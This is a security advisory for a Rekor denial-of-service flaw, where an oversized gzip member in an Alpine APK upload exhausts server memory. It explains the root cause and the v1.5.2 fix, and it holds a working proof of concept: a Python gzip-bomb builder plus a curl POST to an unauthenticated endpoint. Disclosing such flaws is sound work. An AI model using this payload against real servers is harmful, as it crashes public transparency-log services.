CVE-2026-48702: Rekor Alpine APK Gzip Decompression Bomb (OOM DoS)
Rekor's Alpine APK parser decompresses gzip members into memory without a size cap, so an attacker can crash the transparency-log server with a tiny compressed upload that expands to gigabytes.

The problem
The `Package.Unmarshal()` function in `pkg/types/alpine/apk.go` calls `gzip.NewReader()` on the `.SIGN.*` (signature) and control members of an APK file, then reads the result with `io.ReadAll()` and no upper bound on decompressed bytes.
The existing `max_apk_metadata_size` guard is applied to individual tar-entry headers only after full decompression, so a gzip stream compressed at ~1000:1 ratio exhausts heap memory before the check runs. The crash is a fatal Go runtime OOM that cannot be caught by the server's `recover()` middleware.
Two unauthenticated endpoints trigger the path: `POST /api/v1/log/entries` (createLogEntry) and `POST /api/v1/log/entries/retrieve` (searchLogQuery). Both call `V001Entry.Canonicalize()` then `fetchExternalEntities()` then `apk.Unmarshal(packageData)`.
Proof of concept
# Generate ~2 GB of zeros, compress to ~2 MB, embed as the .SIGN member of a fake APK,
# then POST to the unauthenticated createLogEntry endpoint.
# Step 1: build the gzip bomb segment
python3 - <<'EOF'
import gzip, io, struct, tarfile, base64, json
# 2 GB of zeros compressed
buf = io.BytesIO()
with gzip.GzipFile(fileobj=buf, mode='wb', compresslevel=9) as gz:
# write 2 GB in 1 MB chunks
chunk = b'\x00' * (1024 * 1024)
for _ in range(2048):
gz.write(chunk)
bomb_gz = buf.getvalue() # ~2 MB on disk
# Step 2: wrap in a .tar stream (mimics .SIGN.RSA.<hash>.pub member)
tar_buf = io.BytesIO()
with tarfile.open(fileobj=tar_buf, mode='w') as tar:
info = tarfile.TarInfo(name='.SIGN.RSA.pubkey.pub')
info.size = len(bomb_gz)
tar.addfile(info, io.BytesIO(bomb_gz))
apk_bytes = tar_buf.getvalue()
# Step 3: base64-encode for JSON body
print(base64.b64encode(apk_bytes).decode())
EOF
# Step 4: POST to Rekor (replace $B64 with output above)
curl -s -X POST https://<rekor-host>/api/v1/log/entries \
-H 'Content-Type: application/json' \
-d '{
"kind": "alpine",
"apiVersion": "0.0.1",
"spec": {
"package": {
"content": "'$B64'"
},
"publicKey": {
"content": "LS0tLS1CRUdJTi..."
}
}
}'The root cause is CWE-770: no throttle on the output side of `gzip.NewReader()`. The prior fix (CVE-2023-30551, v1.1.1, commit cf42ace) added a size check on tar-entry headers but left the raw gzip decompression call unbounded for the outer APK members. The 1.5.2 patch wraps each `gzip.NewReader(member)` call with `io.LimitReader(gz, maxApkMetadataSize+1)` before passing it to `io.ReadAll()`, so decompression stops at the configured limit regardless of the stream's advertised uncompressed size.
Because the Go OOM is fatal (the runtime calls `throw`, not `panic`), the server's `recover()` middleware cannot catch it, making this a reliable one-shot kill against any Rekor instance running an affected version.
The fix
Upgrade to rekor v1.5.2 or later. The patch wraps every gzip member reader with `io.LimitReader` before `io.ReadAll`, bounding heap allocation to `max_apk_metadata_size` (default 1 MB). There is no effective server-side workaround in affected versions: `max_request_body_size` reduces but does not eliminate exposure at a ~1000:1 compression ratio.